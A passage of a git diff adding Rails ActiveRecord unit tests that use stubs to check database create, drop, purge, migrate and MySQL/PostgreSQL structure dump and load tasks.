+        ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+      end
+    ensure
+      ActiveRecord::Base.protected_environments = protected_environments
+    end
+
+    def test_raises_an_error_if_no_migrations_have_been_made
+      ActiveRecord::InternalMetadata.stubs(:table_exists?).returns(false)
+      ActiveRecord::Migrator.stubs(:current_version).returns(1)
+
+      assert_raise(ActiveRecord::NoEnvironmentInSchemaError) do
+        ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+      end
+    end
+  end
+
+  class DatabaseTasksRegisterTask < ActiveRecord::TestCase
+    def test_register_task
+      klazz = Class.new do
+        def initialize(*arguments); end
+        def structure_dump(filename); end
+      end
+      instance = klazz.new
+
+      klazz.stubs(:new).returns instance
+      instance.expects(:structure_dump).with("awesome-file.sql", nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.register_task(/foo/, klazz)
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => :foo }, "awesome-file.sql")
+    end
+
+    def test_unregistered_task
+      assert_raise(ActiveRecord::Tasks::DatabaseNotSupported) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => :bar }, "awesome-file.sql")
+      end
+    end
+  end
+
+  class DatabaseTasksCreateTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_create") do
+        eval("@#{v}").expects(:create)
+        ActiveRecord::Tasks::DatabaseTasks.create "adapter" => k
+      end
+    end
+  end
+
+  class DatabaseTasksDumpSchemaCacheTest < ActiveRecord::TestCase
+    def test_dump_schema_cache
+      path = "/tmp/my_schema_cache.yml"
+      ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.connection, path)
+      assert File.file?(path)
+    ensure
+      FileUtils.rm_rf(path)
+    end
+  end
+
+  class DatabaseTasksCreateAllTest < ActiveRecord::TestCase
+    def setup
+      @configurations = { "development" => { "database" => "my-db" } }
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+      # To refrain from connecting to a newly created empty DB in sqlite3_mem tests
+      ActiveRecord::Base.connection_handler.stubs(:establish_connection)
+    end
+
+    def test_ignores_configurations_without_databases
+      @configurations["development"].merge!("database" => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_ignores_remote_databases
+      @configurations["development"].merge!("host" => "my.server.tld")
+      $stderr.stubs(:puts).returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_warning_for_remote_databases
+      @configurations["development"].merge!("host" => "my.server.tld")
+
+      $stderr.expects(:puts).with("This task only modifies local databases. my-db is on a remote host.")
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_creates_configurations_with_local_ip
+      @configurations["development"].merge!("host" => "127.0.0.1")
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_creates_configurations_with_local_host
+      @configurations["development"].merge!("host" => "localhost")
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+
+    def test_creates_configurations_with_blank_hosts
+      @configurations["development"].merge!("host" => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+  end
+
+  class DatabaseTasksCreateCurrentTest < ActiveRecord::TestCase
+    def setup
+      @configurations = {
+        "development" => { "database" => "dev-db" },
+        "test"        => { "database" => "test-db" },
+        "production"  => { "database" => "prod-db" }
+      }
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+      ActiveRecord::Base.stubs(:establish_connection).returns(true)
+    end
+
+    def test_creates_current_environment_database
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with("database" => "prod-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new("production")
+      )
+    end
+
+    def test_creates_test_and_development_databases_when_env_was_not_specified
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with("database" => "dev-db")
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with("database" => "test-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new("development")
+      )
+    end
+
+    def test_creates_test_and_development_databases_when_rails_env_is_development
+      old_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with("database" => "dev-db")
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with("database" => "test-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new("development")
+      )
+    ensure
+      ENV["RAILS_ENV"] = old_env
+    end
+
+    def test_establishes_connection_for_the_given_environment
+      ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
+
+      ActiveRecord::Base.expects(:establish_connection).with(:development)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new("development")
+      )
+    end
+  end
+
+  class DatabaseTasksDropTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_drop") do
+        eval("@#{v}").expects(:drop)
+        ActiveRecord::Tasks::DatabaseTasks.drop "adapter" => k
+      end
+    end
+  end
+
+  class DatabaseTasksDropAllTest < ActiveRecord::TestCase
+    def setup
+      @configurations = { development: { "database" => "my-db" } }
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+    end
+
+    def test_ignores_configurations_without_databases
+      @configurations[:development].merge!("database" => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_ignores_remote_databases
+      @configurations[:development].merge!("host" => "my.server.tld")
+      $stderr.stubs(:puts).returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_warning_for_remote_databases
+      @configurations[:development].merge!("host" => "my.server.tld")
+
+      $stderr.expects(:puts).with("This task only modifies local databases. my-db is on a remote host.")
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_drops_configurations_with_local_ip
+      @configurations[:development].merge!("host" => "127.0.0.1")
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_drops_configurations_with_local_host
+      @configurations[:development].merge!("host" => "localhost")
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+
+    def test_drops_configurations_with_blank_hosts
+      @configurations[:development].merge!("host" => nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+  end
+
+  class DatabaseTasksDropCurrentTest < ActiveRecord::TestCase
+    def setup
+      @configurations = {
+        "development" => { "database" => "dev-db" },
+        "test"        => { "database" => "test-db" },
+        "production"  => { "database" => "prod-db" }
+      }
+
+      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+    end
+
+    def test_drops_current_environment_database
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with("database" => "prod-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new("production")
+      )
+    end
+
+    def test_drops_test_and_development_databases_when_env_was_not_specified
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with("database" => "dev-db")
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with("database" => "test-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new("development")
+      )
+    end
+
+    def test_drops_testand_development_databases_when_rails_env_is_development
+      old_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with("database" => "dev-db")
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with("database" => "test-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new("development")
+      )
+    ensure
+      ENV["RAILS_ENV"] = old_env
+    end
+  end
+
+  class DatabaseTasksMigrateTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    def setup
+      ActiveRecord::Tasks::DatabaseTasks.migrations_paths = "custom/path"
+    end
+
+    def teardown
+      ActiveRecord::Tasks::DatabaseTasks.migrations_paths = nil
+    end
+
+    def test_migrate_receives_correct_env_vars
+      verbose, version = ENV["VERBOSE"], ENV["VERSION"]
+
+      ENV["VERBOSE"] = "false"
+      ENV["VERSION"] = "4"
+      ActiveRecord::Migrator.expects(:migrate).with("custom/path", 4)
+      ActiveRecord::Migration.expects(:verbose=).with(false)
+      ActiveRecord::Migration.expects(:verbose=).with(ActiveRecord::Migration.verbose)
+      ActiveRecord::Tasks::DatabaseTasks.migrate
+
+      ENV.delete("VERBOSE")
+      ENV.delete("VERSION")
+      ActiveRecord::Migrator.expects(:migrate).with("custom/path", nil)
+      ActiveRecord::Migration.expects(:verbose=).with(true)
+      ActiveRecord::Migration.expects(:verbose=).with(ActiveRecord::Migration.verbose)
+      ActiveRecord::Tasks::DatabaseTasks.migrate
+
+      ENV["VERBOSE"] = "yes"
+      ENV["VERSION"] = "unknown"
+      ActiveRecord::Migrator.expects(:migrate).with("custom/path", 0)
+      ActiveRecord::Migration.expects(:verbose=).with(true)
+      ActiveRecord::Migration.expects(:verbose=).with(ActiveRecord::Migration.verbose)
+      ActiveRecord::Tasks::DatabaseTasks.migrate
+    ensure
+      ENV["VERBOSE"], ENV["VERSION"] = verbose, version
+    end
+
+    def test_migrate_raise_error_on_empty_version
+      version = ENV["VERSION"]
+      ENV["VERSION"] = ""
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_equal "Empty VERSION provided", e.message
+    ensure
+      ENV["VERSION"] = version
+    end
+
+    def test_migrate_clears_schema_cache_afterward
+      ActiveRecord::Base.expects(:clear_cache!)
+      ActiveRecord::Tasks::DatabaseTasks.migrate
+    end
+  end
+
+  class DatabaseTasksPurgeTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_purge") do
+        eval("@#{v}").expects(:purge)
+        ActiveRecord::Tasks::DatabaseTasks.purge "adapter" => k
+      end
+    end
+  end
+
+  class DatabaseTasksPurgeCurrentTest < ActiveRecord::TestCase
+    def test_purges_current_environment_database
+      configurations = {
+        "development" => { "database" => "dev-db" },
+        "test"        => { "database" => "test-db" },
+        "production"  => { "database" => "prod-db" }
+      }
+      ActiveRecord::Base.stubs(:configurations).returns(configurations)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
+        with("database" => "prod-db")
+      ActiveRecord::Base.expects(:establish_connection).with(:production)
+
+      ActiveRecord::Tasks::DatabaseTasks.purge_current("production")
+    end
+  end
+
+  class DatabaseTasksPurgeAllTest < ActiveRecord::TestCase
+    def test_purge_all_local_configurations
+      configurations = { development: { "database" => "my-db" } }
+      ActiveRecord::Base.stubs(:configurations).returns(configurations)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
+        with("database" => "my-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.purge_all
+    end
+  end
+
+  class DatabaseTasksCharsetTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_charset") do
+        eval("@#{v}").expects(:charset)
+        ActiveRecord::Tasks::DatabaseTasks.charset "adapter" => k
+      end
+    end
+  end
+
+  class DatabaseTasksCollationTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_collation") do
+        eval("@#{v}").expects(:collation)
+        ActiveRecord::Tasks::DatabaseTasks.collation "adapter" => k
+      end
+    end
+  end
+
+  class DatabaseTasksStructureDumpTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_structure_dump") do
+        eval("@#{v}").expects(:structure_dump).with("awesome-file.sql", nil)
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => k }, "awesome-file.sql")
+      end
+    end
+  end
+
+  class DatabaseTasksStructureLoadTest < ActiveRecord::TestCase
+    include DatabaseTasksSetupper
+
+    ADAPTERS_TASKS.each do |k, v|
+      define_method("test_#{k}_structure_load") do
+        eval("@#{v}").expects(:structure_load).with("awesome-file.sql", nil)
+        ActiveRecord::Tasks::DatabaseTasks.structure_load({ "adapter" => k }, "awesome-file.sql")
+      end
+    end
+  end
+
+  class DatabaseTasksCheckSchemaFileTest < ActiveRecord::TestCase
+    def test_check_schema_file
+      Kernel.expects(:abort).with(regexp_matches(/awesome-file.sql/))
+      ActiveRecord::Tasks::DatabaseTasks.check_schema_file("awesome-file.sql")
+    end
+  end
+
+  class DatabaseTasksCheckSchemaFileDefaultsTest < ActiveRecord::TestCase
+    def test_check_schema_file_defaults
+      ActiveRecord::Tasks::DatabaseTasks.stubs(:db_dir).returns("/tmp")
+      assert_equal "/tmp/schema.rb", ActiveRecord::Tasks::DatabaseTasks.schema_file
+    end
+  end
+
+  class DatabaseTasksCheckSchemaFileSpecifiedFormatsTest < ActiveRecord::TestCase
+    { ruby: "schema.rb", sql: "structure.sql" }.each_pair do |fmt, filename|
+      define_method("test_check_schema_file_for_#{fmt}_format") do
+        ActiveRecord::Tasks::DatabaseTasks.stubs(:db_dir).returns("/tmp")
+        assert_equal "/tmp/#{filename}", ActiveRecord::Tasks::DatabaseTasks.schema_file(fmt)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
new file mode 100644
index 0000000000..98fe24baa0
--- /dev/null
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -0,0 +1,388 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+
+if current_adapter?(:Mysql2Adapter)
+  module ActiveRecord
+    class MysqlDBCreateTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true)
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_establishes_connection_without_database
+        ActiveRecord::Base.expects(:establish_connection).
+          with("adapter" => "mysql2", "database" => nil)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_creates_database_with_no_default_options
+        @connection.expects(:create_database).
+          with("my-app-db", {})
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_creates_database_with_given_encoding
+        @connection.expects(:create_database).
+          with("my-app-db", charset: "latin1")
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("encoding" => "latin1")
+      end
+
+      def test_creates_database_with_given_collation
+        @connection.expects(:create_database).
+          with("my-app-db", collation: "latin1_swedish_ci")
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("collation" => "latin1_swedish_ci")
+      end
+
+      def test_establishes_connection_to_database
+        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_when_database_created_successfully_outputs_info_to_stdout
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Created database 'my-app-db'\n", $stdout.string
+      end
+
+      def test_create_when_database_exists_outputs_info_to_stderr
+        ActiveRecord::Base.connection.stubs(:create_database).raises(
+          ActiveRecord::Tasks::DatabaseAlreadyExists
+        )
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Database 'my-app-db' already exists\n", $stderr.string
+      end
+    end
+
+    class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub("Connection", create_database: true)
+        @error         = Mysql2::Error.new("Invalid permissions")
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "my-app-db",
+          "username" => "pat",
+          "password" => "wossname"
+        }
+
+        $stdin.stubs(:gets).returns("secret\n")
+        $stdout.stubs(:print).returns(nil)
+        @error.stubs(:errno).returns(1045)
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).
+          raises(@error).
+          then.returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_root_password_is_requested
+        assert_permissions_granted_for("pat")
+        $stdin.expects(:gets).returns("secret\n")
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_connection_established_as_root
+        assert_permissions_granted_for("pat")
+        ActiveRecord::Base.expects(:establish_connection).with(
+          "adapter"  => "mysql2",
+          "database" => nil,
+          "username" => "root",
+          "password" => "secret"
+        )
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_database_created_by_root
+        assert_permissions_granted_for("pat")
+        @connection.expects(:create_database).
+          with("my-app-db", {})
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_grant_privileges_for_normal_user
+        assert_permissions_granted_for("pat")
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_do_not_grant_privileges_for_root_user
+        @configuration["username"] = "root"
+        @configuration["password"] = ""
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_connection_established_as_normal_user
+        assert_permissions_granted_for("pat")
+        ActiveRecord::Base.expects(:establish_connection).returns do
+          ActiveRecord::Base.expects(:establish_connection).with(
+            "adapter"  => "mysql2",
+            "database" => "my-app-db",
+            "username" => "pat",
+            "password" => "secret"
+          )
+
+          raise @error
+        end
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_sends_output_to_stderr_when_other_errors
+        @error.stubs(:errno).returns(42)
+
+        $stderr.expects(:puts).at_least_once.returns(nil)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      private
+
+        def assert_permissions_granted_for(db_user)
+          db_name = @configuration["database"]
+          db_password = @configuration["password"]
+          @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON `#{db_name}`.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
+        end
+    end
+
+    class MySQLDBDropTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(drop_database: true)
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_establishes_connection_to_mysql_database
+        ActiveRecord::Base.expects(:establish_connection).with @configuration
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+      end
+
+      def test_drops_database
+        @connection.expects(:drop_database).with("my-app-db")
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+      end
+
+      def test_when_database_dropped_successfully_outputs_info_to_stdout
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+
+        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    class MySQLPurgeTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(recreate_database: true)
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "test-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_establishes_connection_to_the_appropriate_database
+        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+
+      def test_recreates_database_with_no_default_options
+        @connection.expects(:recreate_database).
+          with("test-db", {})
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+      end
+
+      def test_recreates_database_with_the_given_options
+        @connection.expects(:recreate_database).
+          with("test-db", charset: "latin", collation: "latin1_swedish_ci")
+
+        ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
+          "encoding" => "latin", "collation" => "latin1_swedish_ci")
+      end
+    end
+
+    class MysqlDBCharsetTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true)
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_db_retrieves_charset
+        @connection.expects(:charset)
+        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+      end
+    end
+
+    class MysqlDBCollationTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true)
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+      end
+
+      def test_db_retrieves_collation
+        @connection.expects(:collation)
+        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+      end
+    end
+
+    class MySQLStructureDumpTest < ActiveRecord::TestCase
+      def setup
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "test-db"
+        }
+      end
+
+      def test_structure_dump
+        filename = "awesome-file.sql"
+        Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+      end
+
+      def test_structure_dump_with_extra_flags
+        filename = "awesome-file.sql"
+        expected_command = ["mysqldump", "--noop", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db"]
+
+        assert_called_with(Kernel, :system, expected_command, returns: true) do
+          with_structure_dump_flags(["--noop"]) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+          end
+        end
+      end
+
+      def test_structure_dump_with_ignore_tables
+        filename = "awesome-file.sql"
+        ActiveRecord::SchemaDumper.expects(:ignore_tables).returns(["foo", "bar"])
+
+        Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "--ignore-table=test-db.foo", "--ignore-table=test-db.bar", "test-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+      end
+
+      def test_warn_when_external_structure_dump_command_execution_fails
+        filename = "awesome-file.sql"
+        Kernel.expects(:system)
+          .with("mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db")
+          .returns(false)
+
+        e = assert_raise(RuntimeError) {
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        }
+        assert_match(/^failed to execute: `mysqldump`$/, e.message)
+      end
+
+      def test_structure_dump_with_port_number
+        filename = "awesome-file.sql"
+        Kernel.expects(:system).with("mysqldump", "--port=10000", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+          @configuration.merge("port" => 10000),
+          filename)
+      end
+
+      def test_structure_dump_with_ssl
+        filename = "awesome-file.sql"
+        Kernel.expects(:system).with("mysqldump", "--ssl-ca=ca.crt", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db").returns(true)
+
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+          @configuration.merge("sslca" => "ca.crt"),
+          filename)
+      end
+
+      private
+        def with_structure_dump_flags(flags)
+          old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
+          yield
+        ensure
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
+        end
+    end
+
+    class MySQLStructureLoadTest < ActiveRecord::TestCase
+      def setup
+        @configuration = {
+          "adapter"  => "mysql2",
+          "database" => "test-db"
+        }
+      end
+
+      def test_structure_load
+        filename = "awesome-file.sql"
+        expected_command = ["mysql", "--noop", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db"]
+
+        assert_called_with(Kernel, :system, expected_command, returns: true) do
+          with_structure_load_flags(["--noop"]) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+          end
+        end
+      end
+
+      private
+        def with_structure_load_flags(flags)
+          old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
+          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
+          yield
+        ensure
+          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
new file mode 100644
index 0000000000..693503250b
--- /dev/null
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -0,0 +1,364 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+
+if current_adapter?(:PostgreSQLAdapter)
+  module ActiveRecord
+    class PostgreSQLDBCreateTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(create_database: true)
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_establishes_connection_to_postgresql_database
+        ActiveRecord::Base.expects(:establish_connection).with(
+          "adapter"            => "postgresql",
+          "database"           => "postgres",
+          "schema_search_path" => "public"
+        )
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_creates_database_with_default_encoding
+        @connection.expects(:create_database).
+          with("my-app-db", @configuration.merge("encoding" => "utf8"))
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_creates_database_with_given_encoding
+        @connection.expects(:create_database).
+          with("my-app-db", @configuration.merge("encoding" => "latin"))
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+          merge("encoding" => "latin")
+      end
+
+      def test_creates_database_with_given_collation_and_ctype
+        @connection.expects(:create_database).
+          with("my-app-db", @configuration.merge("encoding" => "utf8", "collation" => "ja_JP.UTF8", "ctype" => "ja_JP.UTF8"))
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+          merge("collation" => "ja_JP.UTF8", "ctype" => "ja_JP.UTF8")
+      end
+
+      def test_establishes_connection_to_new_database
+        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
+
+      def test_db_create_with_error_prints_message
+        ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
+
+        $stderr.stubs(:puts).returns(true)
+        $stderr.expects(:puts).
+          with("Couldn't create database for #{@configuration.inspect}")
+
+        assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration }
+      end
+
+      def test_when_database_created_successfully_outputs_info_to_stdout
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Created database 'my-app-db'\n", $stdout.string
+      end
+
+      def test_create_when_database_exists_outputs_info_to_stderr
+        ActiveRecord::Base.connection.stubs(:create_database).raises(
+          ActiveRecord::Tasks::DatabaseAlreadyExists
+        )
+
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Database 'my-app-db' already exists\n", $stderr.string
+      end
+    end
+
+    class PostgreSQLDBDropTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub(drop_database: true)
+        @configuration = {
+          "adapter"  => "postgresql",
+          "database" => "my-app-db"
+        }
+
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+        $stdout, @original_stdout = StringIO.new, $stdout
+        $stderr, @original_stderr = StringIO.new, $stderr
+      end
+
+      def teardown
+        $stdout, $stderr = @original_stdout, @original_stderr
+      end
+
+      def test_establishes_connection_to_postgresql_database
+        ActiveRecord::Base.expects(:establish_connection).with(
+          "adapter"            => "postgresql",
+          "database"           => "postgres",
+          "schema_search_path" => "public"
+        )
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+      end
+
+      def test_drops_database
+        @connection.expects(:drop_database).with("my-app-db")
+
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+      end
+
+      def test_when_database_dropped_successfully_outputs_info_to_stdout
